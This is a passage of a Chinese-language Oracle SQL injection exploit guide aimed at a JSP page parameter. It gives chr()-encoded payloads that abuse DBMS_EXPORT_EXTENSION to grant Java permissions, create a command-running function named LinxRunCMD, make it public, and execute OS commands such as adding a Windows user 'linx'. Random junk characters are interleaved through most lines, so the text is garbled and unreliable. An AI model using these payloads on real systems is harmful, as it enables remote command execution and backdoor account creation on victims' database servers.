/ G/ l" H, h: x* t,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual4 m9 n% v' o7 M, S
2 T) z& Q3 X  F9 a& r
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# d: s8 A' Y! ~
% x1 R' H: i0 D8 K------------------------------9 C& W# O; J' T  k- \3 Y1 z
# m4 J  G% s/ y& j$ j7 l- O. Z# I5 W* J
2.赋Java权限: ~" ]6 g% H& [2 O. p9 h
/xxx.jsp?id=1 and chr(49)<>chr(50)||(1 z3 U; j' ?9 U; o

' F& ?6 I# K3 @- J# z) Zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
0 _* u5 W; ^# J, V" h4 \chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||7 F$ c7 L$ ]9 D( B
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||" f0 v, i$ {+ E) t  r
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||8 w: T9 V- L$ g  a% W4 W$ |
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||+ i0 k2 `8 b1 y4 P4 w
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||/ F( j( V1 Q% U$ o2 }+ s+ Y
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||, W' s9 }5 w& B7 t1 H% q8 Y. j
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
2 d% ~6 B9 g. ^& z, z& achr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||5 y) K7 c, C  S( Q6 X
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
- p8 y4 S9 t0 k1 w,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual4 d! c* Y  i2 U* |9 p2 r# {3 p
" V# M! Y2 J* ^! z
)
$ Y: k2 B( J. a/ f2 \9 H) g+ I! Q8 O8 G5 a9 W! c) v6 V5 P
readfile函数的ascii版就不写了,见谅。  p7 V8 N0 u- N' z) m" M, P
% t  }3 S$ S& g& d! @! f- {
3.创建函数$ c4 B% W2 J' M
/ {$ j: x1 \4 O5 z5 ?# [4 x' D0 X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),1 R* \, F, g& u8 O/ F( w, j
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
# H/ ~  V* L8 S8 e8 Ichr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
# x; h; ~1 I" u+ Q0 pchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
+ g- H! }: m5 `$ j  M% Gchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
) I$ w6 E  L. N  c8 ]7 [chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||( C( N7 k% u# ?5 @. M5 H' F
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
9 X+ a8 g; Y' s* ?& m5 o$ K' \chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||5 O4 Y5 S9 b' \) z0 U( H, W
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
0 I% x- Z2 O) Y/ D0 y  Tchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||( E" X6 a: ]4 G$ y
chr(59)||chr(45)||chr(45). g8 N. I/ h3 G( u- c
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
0 l1 g( [* U  x5 s2 y+ _
% L3 m/ q4 _* N) f7 Z4 O$ K
& b- E& H& d9 T- X
8 q2 x/ s" q9 [! f  X3 r4.赋public执行函数的权限
) \1 ?8 h7 p- R$ P/ \' Q! f3 R  z" p7 d' d8 D2 ]6 I, ~
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),  `6 |/ r" z6 k3 b# ]5 q4 I4 D
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
  A1 s+ ]1 D/ xchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
  x& `& A2 `# o% Lchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
& r. P8 Y$ H; qchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||# v7 K' B3 Q7 C, Z5 @, V
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
. m; i* C' Y4 q- P9 r+ bchr(59)||chr(45)||chr(45)
) F9 Z: [9 h" `5 n/ z# r,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual& Q6 w$ \% q  g- O- n
7 k0 L* H6 g$ E
* f5 o6 f' F6 K- ^' K, q

1 G" p' N% n! V' a1 h5.执行命令:3 {! F/ I# k3 H5 G1 T- L1 a% T
) n! i' ?4 h7 D* K; o; S1 d
/xxx.jsp?id=1 and chr(49)<>chr(32)||(/ P' R6 h+ ~0 c# m3 F% g8 \0 C
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
: C* @+ G, P# s& U1 i1 m)! C* e, z4 y+ r1 {
) n7 q* @& c: N" ^
6 X& R! M; H' p1 g: _
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
6 X8 V" u7 Z/ _select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual2 R' Q2 U: L# I
)* s- G4 u0 F- w. i. P





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